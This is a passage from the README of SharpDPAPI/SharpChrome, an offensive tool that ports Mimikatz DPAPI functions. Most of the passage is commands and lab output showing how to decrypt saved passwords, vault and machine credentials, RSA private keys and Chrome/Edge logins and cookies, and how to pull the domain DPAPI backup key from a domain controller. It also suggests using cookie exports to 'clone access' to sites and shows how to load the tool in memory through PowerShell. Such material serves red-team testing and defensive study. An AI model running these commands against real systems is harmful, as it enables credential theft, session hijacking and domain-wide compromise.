[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

machinecerts

The machinecerts command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine system encrypted DPAPI private certificate keys.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinecerts

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.7.0


[*] Action: Machine DPAPI Certificate Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()


[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{3c1fb9fb-aabe-4c45-aab9-c3e1b614776d}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys


Certificate file           : fad662b360941f26a1193357aab3c12d_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Private Key GUID    : IIS Express Development Certificate Container
    Magic Header: RSA1
    Len1: 264
    Bitlength: 2048
    UNK: 255
    Pubexp: 65537
    GuidProvider GUID is {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID is {3c1fb9fb-aabe-4c45-aab9-c3e1b614776d}
    Description: CryptoAPI Private Key
    algCrypt: CALG_AES_256
    keyLen: 256
    Salt: daa3d225ba280029a6169495bbdb3182c75f659ffcd1352ee845e830621fbc08
    algHash: CALG_SHA_512
    Hashlen: 512
    HMAC: 93519cb9b6bbdf409909b3ee78dc1d783ab5db273bf796d9f9f77ea8ba2f64b3

[*] Private key file fad662b360941f26a1193357aab3c12d_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered

[*] PKCS1 Private key

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEApSg1h2MH3lK39ZoFrj1tz5...(snip)...
-----END RSA PRIVATE KEY-----

[*] Certificate

-----BEGIN CERTIFICATE-----
MIIC1jCCAb6gAwIBAgIQfSNOUmInprRC0lEVt7u...(snip)...
-----END CERTIFICATE-----

machinetriage

The machinetriage command runs the user machinecredentials, machinevaults, and machinecerts commands.

Misc

ps

The ps command will describe/decrypt an exported PSCredential clixml. A /target:FILE.xml must be supplied.

The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

Decrypt an exported credential .xml using CryptProtectData() (the /unprotect flag):

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Using domain {GUID}:SHA1 masterkey mappings:

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

The blob command will describe/decrypt a DPAPI blob. A /target:<BASE64|blob.bin> must be supplied.

The command will a) decrypt the blob with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

Decrypt a blob using CryptProtectData() (the /unprotect flag):

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)

Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.

This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands.

By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.

Retrieve the DPAPI backup key for the current domain controller:

C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using current domain controller  : PRIMARY.testlab.local
[*] Preferred backupkey Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Retrieve the DPAPI backup key for the specified DC, outputting the backup key to a file:

C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using server                     : primary.testlab.local
[*] Preferred backupkey Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to            : key.pvk

search

The search comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:

SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors]
SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
SharpDPAPI.exe search /type:base64 [/base:<base64 string>]

The search command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure:

0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

The search command has different arguments depending on the data type being scanned. To designate the data type, use the /type argument specifying registry, folder, file, or base64. If the /type argument is not present, the command will search the registry by default.

When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use /path parameter to specify a root to key to search from (e.g. /path:HKLM\Software) and use the /showErrors argument to display errors that occuring during enumeration.

When searching a file or folder, specify a path with /path:C:\Path\to\file\or\folder and optionally use /maxBytes:<int> to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. Use /showErrors to display an errors that occur during enumeration.

When searching a base64 blob, specify the base64-encoded bytes to scan with the /base64:<base64 str> parameter.

SharpChrome Commands

logins

The logins command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If /browser:edge is specified, the newer Chromium-based Edge browser is triaged.

Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific Login Data file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied. If triaging newer Chrome/Edge instances, a /statekey:X AES state key can be specified.

By default, logins are displayed in a csv format. This can be modified with /format:table for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with /showall.

If run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.

cookies

The cookies command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If /browser:edge is specified, the newer Chromium-based Edge browser is triaged.

Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific Cookies file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied. If triaging newer Chrome/Edge instances, a /statekey:X AES state key can be specified.

By default, cookies are displayed in a csv format. This can be modified with /format:table for table output, or /format:json for output importable by EditThisCookie. Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with /showall.

If run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed.

The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.

statekeys

The statekeys command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for cookies and logins.

State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.

backupkey

The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)

Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.

This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands.

By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.

Compile Instructions

We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)

SharpDPAPI has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.

Targeting other .NET versions

SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to Project -> SharpDPAPI Properties and change the "Target framework" to another version.

Sidenote: Running SharpDPAPI Through PowerShell

If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string):

$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

The Main() method and any arguments can then be invoked as follows:

[SharpDPAPI.Program]::Main("machinemasterkeys")

Sidenote Sidenote: Running SharpDPAPI Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that.

If you follow the instructions in Sidenote: Running SharpDPAPI Through PowerShell to create a SharpDPAPI.ps1, append something like the following to the script:

[SharpDPAPI.Program]::MainString("machinemasterkeys")

You should then be able to run SharpDPAPI over PSRemoting with something like the following:

$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternatively, SharpDPAPI /consoleoutfile:C:\FILE.txt argument will redirect all output streams to the specified file.

About

SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.

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